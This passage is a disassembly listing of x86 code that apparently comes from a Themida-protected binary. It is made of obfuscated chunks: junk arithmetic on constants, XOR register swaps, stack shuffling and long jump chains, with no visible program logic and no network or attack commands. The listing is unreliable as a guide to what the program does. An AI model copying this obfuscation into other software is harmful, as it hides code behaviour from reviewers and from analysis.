		jmp	loc_59A974
; ---------------------------------------------------------------------------


loc_599AA7:				; CODE XREF: Themida_:005A3162j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_59D70B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8E6E


loc_599AB7:				; CODE XREF: sub_5A8E6E+3j
		shr	bl, 7
		and	bl, 3Fh
		neg	bl
		sub	bl, 38h
		add	al, bl
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		sub	al, dh
		push	ebx
		mov	bh, 0C8h
		sub	al, bh
		pop	ebx
		mov	dx, [esp+0]
		jmp	loc_5A09B3
; END OF FUNCTION CHUNK	FOR sub_5A8E6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_599ADE:				; CODE XREF: sub_598D16+10652j
		sub	eax, 1791852h
		push	ecx
		push	eax
		push	ebx
		jmp	loc_5AEC74
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------


loc_599AEB:				; CODE XREF: Themida_:005A9DADj
		pop	edx
		push	ebx
		mov	ebx, 4B9E2B14h
		shr	ebx, 4
		push	esi
		mov	esi, 19534E9Eh
		sub	ebx, esi
		jmp	loc_59BFF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_599B02:				; CODE XREF: sub_5A8D43-4F67j
		div	ecx
		push	1BD4h
		jmp	loc_59A184
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_599B0E:				; CODE XREF: Themida_:0059C4B8j
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		jmp	loc_5A693F
; ---------------------------------------------------------------------------


loc_599B20:				; CODE XREF: Themida_:005A732Dj
		push	ecx
		mov	ecx, 57DE7BBEh
		add	edx, ecx
		pop	ecx
		sub	edx, ebx
		sub	edx, 57DE7BBEh
		pop	ebx
		sub	edx, 6A5F4E0Dh
		add	edx, 64851585h
		add	edx, ebx
		sub	edx, 64851585h
		jmp	loc_5A8521
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_599B4B:				; CODE XREF: sub_59B707+577Dj
		sub	edi, esi
		pop	esi
		mov	ebx, edi
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		and	edi, ebx
		jmp	loc_5AD719
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_599B60:				; CODE XREF: sub_5AC95F-AFDCj
		mov	ch, 3Ch
		jmp	loc_5AB38D
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_599B67:				; CODE XREF: Themida_:005982DCj
		pop	edi
		pop	esi
		jmp	loc_5A0721
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_599B6E:				; CODE XREF: sub_5A8C33-1078Aj
		sub	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_59D980
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_599B7D:				; CODE XREF: Themida_:0059E993j
					; sub_597C68+7096j
		sub	ecx, 727114FFh
		push	[esp-4+arg_0]
		pop	edx
		jmp	loc_59B33B
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_599B8C:				; CODE XREF: sub_599059+127E4j
		mov	al, 52h
		mov	dl, al
		mov	eax, [esp-6+arg_0+2]
		push	esi
		mov	esi, esp
		jmp	loc_5AA2D1
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_599B9B:				; CODE XREF: sub_59D24A-1304j
		xchg	cl, ah
		inc	cl
		push	bx
		mov	bl, cl
		jmp	loc_59D006
; END OF FUNCTION CHUNK	FOR sub_59D24A
; ---------------------------------------------------------------------------


loc_599BA8:				; CODE XREF: Themida_:loc_5984B5j
		add	eax, 63975CBDh
		mov	edi, eax
		jmp	loc_5AE23A
; ---------------------------------------------------------------------------


loc_599BB4:				; CODE XREF: Themida_:005A93D1j
		ja	loc_5A4266
		jmp	loc_5A53D0
; ---------------------------------------------------------------------------
		mov	eax, 7F4E0411h
		xor	eax, 29B80C65h
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_599BC9:				; CODE XREF: sub_59C53B-1054j
		sub	ebp, edx
		pop	edx
		jmp	loc_5A4815
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_599BD1:				; CODE XREF: sub_5AB3DC-12CE0j
		jz	loc_5A5CA7
		xor	edx, 7D1EF65Bh
		sub	edi, 5EA6771Bh
		sub	edi, edx
		add	edi, 5EA6771Bh
		pop	edx
		sub	edx, 337D5015h
		sub	edx, edi
		add	edx, 337D5015h
		jmp	loc_5985F0
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------


loc_599BFF:				; CODE XREF: Themida_:005AAD6Aj
		mov	edi, ecx
		pop	ecx
		jmp	loc_5A4C35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A00F8


loc_599C07:				; CODE XREF: sub_5A00F8-2564j
		pop	ebx
		push	ebp
		push	0CDC11BCBh
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		jmp	loc_59CA01
; END OF FUNCTION CHUNK	FOR sub_5A00F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_599C19:				; CODE XREF: sub_59FFBE-6E94j
		xor	eax, 0EFC2A967h
		xor	edx, eax
		push	[esp-8+arg_4]
		pop	eax
		add	esp, 4
		add	eax, 3C163BC9h
		jmp	loc_5A6328
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_599C34:				; CODE XREF: sub_5ABE52:loc_5983DCj
		sub	ebx, 0CB66EB7Eh
		mov	esi, ebx
		pop	ebx
		jmp	loc_5AB2F3
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_599C42:				; CODE XREF: sub_5A17D6-94F1j
		push	esp
		jmp	loc_5A06B7
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_599C48:				; CODE XREF: sub_5A8D43-C92Bj
		xor	edi, [esp+0Eh+var_10+2]
		xor	[esp+0Eh+var_10+2], edi
		xor	edi, [esp+0Eh+var_10+2]
		mov	esp, [esp+0Eh+var_10+2]
		mov	[esp+0Eh+var_10+2], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 53A61B03h
		jmp	loc_5AEB0E
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB1B1


loc_599C64:				; CODE XREF: sub_5AB1B1-14Ej
		mov	esi, esp
		sub	esp, 4
		mov	[esp+4+var_4], edx
		jmp	loc_5A6E66
; END OF FUNCTION CHUNK	FOR sub_5AB1B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_599C74:				; CODE XREF: sub_5AC95F-75F3j
		push	eax
		jmp	loc_5AC23B
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_599C7A:				; CODE XREF: sub_59CA4A+CCFDj
		mov	ebx, eax
		mov	esi, ebx
		pop	ebx
		pop	eax
		shl	esi, 3
		sub	esi, 1DBAAA58h
		sub	edx, esi
		pop	esi
		sub	edx, 0C763FD0h
		add	edx, ebp
		jmp	loc_5ACE04
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_599C99:				; CODE XREF: sub_59D99C-22DBj
		xor	eax, [esp+16h+var_18+2]
		xor	[esp+16h+var_18+2], eax
		jmp	loc_5AEE9A
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_599CA4:				; CODE XREF: Themida_:0059DF2Ej
		push	77F5h
		mov	[esp], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5ACA48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_599CBC:				; CODE XREF: sub_59D99C+11501j
		mov	esp, [esp+16h+var_18+2]
		sub	byte ptr [esp+16h+var_18+2], al
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0542


loc_599CC8:				; CODE XREF: sub_5A0542+12j
		add	ebx, 0CA1B8Ch
		xor	ebx, 0B97C83FEh
		mov	eax, ebx
		pop	ebx
		jmp	loc_5A272D
; END OF FUNCTION CHUNK	FOR sub_5A0542
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_599CDC:				; CODE XREF: sub_59D7E7+1014Ej
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_59A298
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------


loc_599CEE:				; CODE XREF: Themida_:005A4C8Ej
		add	esp, 4
		push	0F0Dh
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_5A66C5
; ---------------------------------------------------------------------------


loc_599D07:				; CODE XREF: Themida_:0059DB1Bj
		xchg	edi, [esp]
		jmp	loc_5A8E76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE24


loc_599D0F:				; CODE XREF: sub_59EE24+22C6j
		pop	edi
		jmp	sub_5A393F
; END OF FUNCTION CHUNK	FOR sub_59EE24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_599D15:				; CODE XREF: sub_59CA4A+103CCj
		add	edx, ebx
		push	ebp
		jmp	loc_59D081
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------


loc_599D1D:				; CODE XREF: Themida_:005A9716j
		pop	ebp
		jmp	loc_5A2687
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_599D23:				; CODE XREF: sub_59CA4A+8A54j
		sub	esi, 13E20C51h
		jmp	loc_5ABC0A
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A41D6


loc_599D2E:				; CODE XREF: sub_5A41D6-2101j
		mov	al, dh
		pop	dx
		shr	al, 4
		jmp	loc_5A603C
; END OF FUNCTION CHUNK	FOR sub_5A41D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_599D3A:				; CODE XREF: sub_5A1B2A-734Dj
		mov	cl, 47h
		sub	cl, 0FFh
		or	al, cl
		pop	cx
		push	ebx
		push	edx
		mov	dh, 0B5h
		xor	dh, 50h
		xor	dh, 0F1h
		jl	loc_59912F
		shl	dh, 8
		jmp	loc_59FDB2
; END OF FUNCTION CHUNK	FOR sub_5A1B2A

; =============== S U B	R O U T	I N E =======================================



sub_599D5B	proc near		; CODE XREF: sub_59D99C+10278j

var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 0059D6C1 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A4BA4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A59EB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AADCA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005ABECA SIZE 00000012 BYTES

		push	ebp
		mov	ebp, 110E221Fh
		not	ebp
		dec	ebp
		jmp	loc_5A4BA4
sub_599D5B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADE3B


loc_599D69:				; CODE XREF: sub_5ADE3B-6DAj
		pop	ebx
		push	edx
		jmp	loc_5A9FFF
; END OF FUNCTION CHUNK	FOR sub_5ADE3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_599D70:				; CODE XREF: sub_599059+113DEj
		sub	ebp, 390452E6h
		or	esi, ebp
		pop	ebp
		jmp	loc_597BE8
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------


loc_599D7E:				; CODE XREF: Themida_:005A8435j
		mov	ecx, 4
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ebx
		mov	ebx, 5A173C8Bh
		jmp	loc_5AA6A0
; ---------------------------------------------------------------------------


loc_599D9A:				; CODE XREF: Themida_:005A3E55j
		mov	edx, 530B4025h
		dec	edx
		jmp	loc_5A12D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_599DA5:				; CODE XREF: sub_5A1B2A+47DCj
		or	edx, 4A87710Dh
		js	loc_599E81
		jmp	loc_5A712F
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
		dec	esi
		shl	esi, 5
		push	edi
		push	ecx
; START	OF FUNCTION CHUNK FOR sub_5A8899


loc_599DBC:				; CODE XREF: sub_5A8899-DECFj
		push	eax
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A8899
; ---------------------------------------------------------------------------


loc_599DC3:				; CODE XREF: Themida_:0059CDA7j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5AC01B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_599DD2:				; CODE XREF: sub_598D67+2D5Ej
		pop	esi
		jmp	loc_5ACF6E
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_599DD8:				; CODE XREF: sub_5A28BE+3j
		mov	[esp+4+var_4], esi
		push	35E2h
		mov	[esp+8+var_8], ebp
		push	esi
		push	42112A1Ch
		jmp	loc_5A086E
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_599DEE:				; CODE XREF: sub_5AE6FD-91CBj
		mov	eax, [esp-8+arg_4]
		push	ebp
		mov	ebp, esp
		jmp	loc_5A0CD2
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------


loc_599DF9:				; CODE XREF: Themida_:0059C3C4j
		pop	eax
		jmp	loc_5A9F37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA9C8


loc_599DFF:				; CODE XREF: sub_5AA9C8+15j
		add	esi, 1
		add	esi, 1
		add	esi, 50B11128h
		and	eax, esi
		mov	esi, [esp+0]
		jmp	loc_5AEBA7
; END OF FUNCTION CHUNK	FOR sub_5AA9C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_599E1B:				; CODE XREF: sub_5ABA9B-E232j
		add	ecx, 2B4653CCh
		jmp	loc_5AD1D9
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_599E26:				; CODE XREF: sub_59CA4A+A8BFj
		pop	ebp
		push	4E96h
		mov	[esp-8+arg_4], ebp
		mov	ebp, 30E176BDh
		jmp	loc_5A5C72
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_599E39:				; CODE XREF: sub_5A91EC-10449j
		mov	edi, ebx
		pop	ebx
		push	edi
		add	[esp-10h+arg_C], 774E7D3Fh
		pop	ebp
		sub	ebp, 774E7D3Fh
		pop	edi
		add	ebp, 3E503C54h
		sub	ebp, 227615DAh
		neg	ebp
		xor	ebp, 134349A3h
		sub	ebp, 0A2057701h
		mov	edx, ebp
		pop	ebp
		or	edx, 23C26B58h
		ja	loc_59A9EE
		jmp	sub_59AD3B
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
		mov	edi, 34CC57DBh
		mov	ch, al
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_599E81:				; CODE XREF: sub_5A1B2A-7D7Fj
		jmp	loc_5A87BF
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_599E86:				; CODE XREF: sub_59D7E7+F651j
		dec	esi
		shl	esi, 5
		push	edi
		mov	edi, 74A22F8h
		and	esi, edi
		pop	edi
		sub	esi, 7B633DEEh
		not	esi
		sub	esi, 75F02D2Fh
		add	ebx, 597533AFh
		jmp	loc_5A14E8
; END OF FUNCTION CHUNK	FOR sub_59D7E7

; =============== S U B	R O U T	I N E =======================================



sub_599EAC	proc near		; CODE XREF: sub_5AEE2E-F658j

; FUNCTION CHUNK AT 005A3CFE SIZE 0000000D BYTES

		push	bx
		mov	bh, 90h
		push	edx
		mov	dl, bh
		jmp	loc_5A3CFE
sub_599EAC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C683


loc_599EB8:				; CODE XREF: sub_59C683+B572j
		push	edi
		mov	edi, 449B7E3Eh
		mov	ebx, edi
		jmp	loc_5A9FCD
; END OF FUNCTION CHUNK	FOR sub_59C683
; ---------------------------------------------------------------------------


loc_599EC5:				; CODE XREF: Themida_:005A1194j
		push	2573h
		jmp	loc_597D3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_599ECF:				; CODE XREF: sub_5A1340+C6C2j
		pop	cx
		add	al, bl
		push	ecx
		mov	cl, 9Ah
		jmp	loc_5A2651
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C342


loc_599EDB:				; CODE XREF: sub_59C342+45F3j
		shr	eax, 8
		sub	eax, 9936B010h
		add	ebx, eax
		pop	eax
		pop	edx
		jmp	loc_5AE07A
; END OF FUNCTION CHUNK	FOR sub_59C342
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_599EEC:				; CODE XREF: sub_5AB98B-11200j
		shr	bh, 8
		add	bh, 87h
		jmp	loc_598CE8
; END OF FUNCTION CHUNK	FOR sub_5AB98B

; =============== S U B	R O U T	I N E =======================================



sub_599EF7	proc near		; CODE XREF: sub_5A8C33-AA50j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059C6C3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A166C SIZE 00000013 BYTES

		push	ebp
		jmp	loc_5A166C
sub_599EF7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7CF9


loc_599EFD:				; CODE XREF: sub_5A7CF9+5707j
		push	ecx
		mov	ecx, 4153E50h
		mov	ebp, ecx
		push	[esp+4+var_4]
		pop	ecx
		push	120Bh
		mov	[esp+8+var_8], ecx
		sub	esp, 4
		mov	[esp+0Ch+var_C], esp
		push	ebx
		mov	ebx, 4
		add	[esp+10h+var_C], ebx
		pop	ebx
		pop	ecx
		add	ecx, 4
		jmp	loc_5AA48B
; END OF FUNCTION CHUNK	FOR sub_5A7CF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_599F31:				; CODE XREF: sub_5A3F42-1D90j
		mov	[esp+14h+var_14], ebx
		push	esi
		push	209C6F0Bh
		pop	esi
		not	esi
		add	esi, 6AC14D6Ch
		jmp	loc_597EF8
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_599F48:				; CODE XREF: sub_5A8C33-2FE5j
		xchg	edi, [esp+8+var_8]
		pop	esp
		sub	edx, ecx
		jmp	loc_5A8657
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3D81


loc_599F53:				; CODE XREF: sub_5A3D81+16j
		xor	ebp, esi
		xor	esi, ebp
		xor	ebp, esi
		sub	esp, 4
		mov	[esp+4+var_4], eax
		jmp	loc_5A31CF
; END OF FUNCTION CHUNK	FOR sub_5A3D81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72FB


loc_599F64:				; CODE XREF: sub_5A72FB-84F7j
		mov	edi, 4
		add	esi, edi
		pop	edi
		jmp	loc_5A7500
; END OF FUNCTION CHUNK	FOR sub_5A72FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A58AC


loc_599F71:				; CODE XREF: sub_5A58AC+8A2Dj
		mov	ecx, 333A15E8h
		jmp	loc_5A2323
; END OF FUNCTION CHUNK	FOR sub_5A58AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_599F7B:				; CODE XREF: sub_59CA4A+11045j
		mov	ecx, edi
		push	[esp-8+arg_4]
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-4+arg_0]
		pop	esp
		sub	esi, 0D550B4Dh
		add	esi, ecx
		jmp	sub_5A8302
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------


loc_599FA1:				; CODE XREF: Themida_:005999B4j
		shr	esi, 2
		jz	loc_5AE4FA
		and	esi, 5217331Ah
		xor	esi, 79646E1Ah
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		mov	edi, 9507D030h
		sub	edi, ebp
		pop	ebp
		jmp	loc_5A81C7
; ---------------------------------------------------------------------------


loc_599FCB:				; CODE XREF: Themida_:00599A61j
		add	eax, 4
		add	eax, 4
		jmp	loc_5A0ACB
; ---------------------------------------------------------------------------


loc_599FD8:				; CODE XREF: Themida_:0059ED8Bj
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 4
		jmp	loc_59BF4B
; ---------------------------------------------------------------------------


loc_599FE8:				; CODE XREF: Themida_:005A8D16j
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5AEB84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B0C4


loc_599FF6:				; CODE XREF: sub_59B0C4:loc_598320j
		push	edx
		mov	edx, 3C7820D6h
		sub	edx, 4B1A3FC5h
		or	edx, 0BB663E2h
		or	edx, 598A2041h
		or	edx, 7A103964h
		add	edx, 0CBD7705Bh
		sub	eax, edx
		pop	edx
		jmp	loc_5A87A2
; END OF FUNCTION CHUNK	FOR sub_59B0C4
; ---------------------------------------------------------------------------


loc_59A022:				; CODE XREF: Themida_:00599A7Bj
		push	eax
		mov	eax, 7FCF44FBh
		sub	eax, 639E1B3Bh
		or	eax, 3DBE4489h
		jmp	loc_59E9A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EB21


loc_59A037:				; CODE XREF: sub_59EB21-2EC6j
		push	edx
		jmp	loc_5AD4C2
; END OF FUNCTION CHUNK	FOR sub_59EB21

; =============== S U B	R O U T	I N E =======================================



sub_59A03D	proc near		; CODE XREF: sub_59D99C+9260j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059AD94 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059C91F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059D404 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059F017 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A1718 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A9837 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AC76B SIZE 0000001D BYTES

		push	ebx
		mov	ebx, 64E94A28h
		xor	eax, ebx
		mov	ebx, [esp+4+var_4]
		jmp	loc_5AC76B
sub_59A03D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_59A04D:				; CODE XREF: sub_5ACD64-3C9Ej
		push	edi
		mov	edi, 4
		add	esi, edi
		jmp	loc_5A5984
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59A05A:				; CODE XREF: sub_59D99C+F838j
		mov	esi, 16960B6Dh
		and	esi, 1DCC4F10h
		inc	esi
		jmp	loc_5A48A2
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_59A06B:				; CODE XREF: Themida_:0059D113j
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_5A6FD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_59A079:				; CODE XREF: sub_59ACEC:loc_5A709Aj
		not	ebx
		push	eax
		mov	eax, 57DAE982h
		sub	ebx, eax
		jmp	loc_5A6030
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------


loc_59A088:				; CODE XREF: Themida_:0059A885j
		xor	edi, 0FC002F6h
		and	edi, 2F8771D9h
		dec	edi
		xor	edi, 5CFE051Ah
		add	eax, edi
		jmp	loc_5A5406
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59A0A2:				; CODE XREF: sub_59D99C+62A0j
		pop	eax
		push	edx
		jmp	loc_59AE74
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_59A0A9:				; CODE XREF: sub_59CA4A+869Aj
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		jmp	sub_5AB0CE
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A20F9


loc_59A0B7:				; CODE XREF: sub_5A20F9-926Bj
		mov	ecx, [esp+0]
		add	esp, 4
		push	eax
		sub	dword ptr [esp+0], 26981FDBh
		pop	dword ptr [edx+30h]
		add	dword ptr [edx+30h], 26981FDBh
		jmp	loc_5ABA65
; END OF FUNCTION CHUNK	FOR sub_5A20F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2C8


loc_59A0D7:				; CODE XREF: sub_59F2C8-72FCj
		mov	word ptr [esp+4+var_4],	ax
		mov	ah, 29h
		push	edx
		push	ebx
		mov	bh, ah
		mov	dl, bh
		pop	ebx
		jmp	loc_59D21D
; END OF FUNCTION CHUNK	FOR sub_59F2C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59A0E9:				; CODE XREF: sub_59D99C+4F1Dj
		mov	ebp, 8E5197Ah
		mov	eax, 27076292h
		sub	eax, ebp
		mov	ebp, [esp+1Ah+var_1C+2]
		add	esp, 4
		or	edi, eax
		pop	eax
		add	edi, 2EB94EEFh
		jmp	loc_5A611E
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B923


loc_59A109:				; CODE XREF: sub_59B923-2588j
		mov	eax, esp
		push	edx
		push	4
		pop	edx
		add	eax, edx
		mov	edx, [esp+4+var_4]
		jmp	loc_5A23EC
; END OF FUNCTION CHUNK	FOR sub_59B923
; ---------------------------------------------------------------------------


loc_59A11C:				; CODE XREF: Themida_:005AE982j
		xchg	edi, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		jmp	loc_5AF0E9
; ---------------------------------------------------------------------------


loc_59A129:				; CODE XREF: Themida_:00597F18j
		push	eax
		push	esp
		mov	eax, [esp]
		push	ebp
		jmp	loc_5A58C4
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_59B88D
; ---------------------------------------------------------------------------


loc_59A141:				; CODE XREF: Themida_:0059D09Fj
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		jmp	loc_599A66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59A150:				; CODE XREF: sub_5AC95F-BA38j
		pop	edi
		add	esi, eax
		push	ebx
		sub	esp, 4
		mov	[esp+14h+var_14], ebp
		mov	ebp, 391C3306h
		mov	ebx, 0E967CE17h
		jmp	loc_5AB691
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D832


loc_59A16C:				; CODE XREF: sub_59D832+930Fj
		neg	ebp
		sub	ebp, 17B34349h
		shr	ebp, 7
		add	ebp, 466EA9B9h
		add	edx, ebp
		jmp	loc_5A8A42
; END OF FUNCTION CHUNK	FOR sub_59D832
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59A184:				; CODE XREF: sub_5A8D43-F23Aj
		mov	[esp+0Eh+var_10+2], edx
		push	esp
		pop	edx
		push	eax
		jmp	loc_59F5D7
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59A18F:				; CODE XREF: sub_5A8C33+637Cj
		pop	ecx
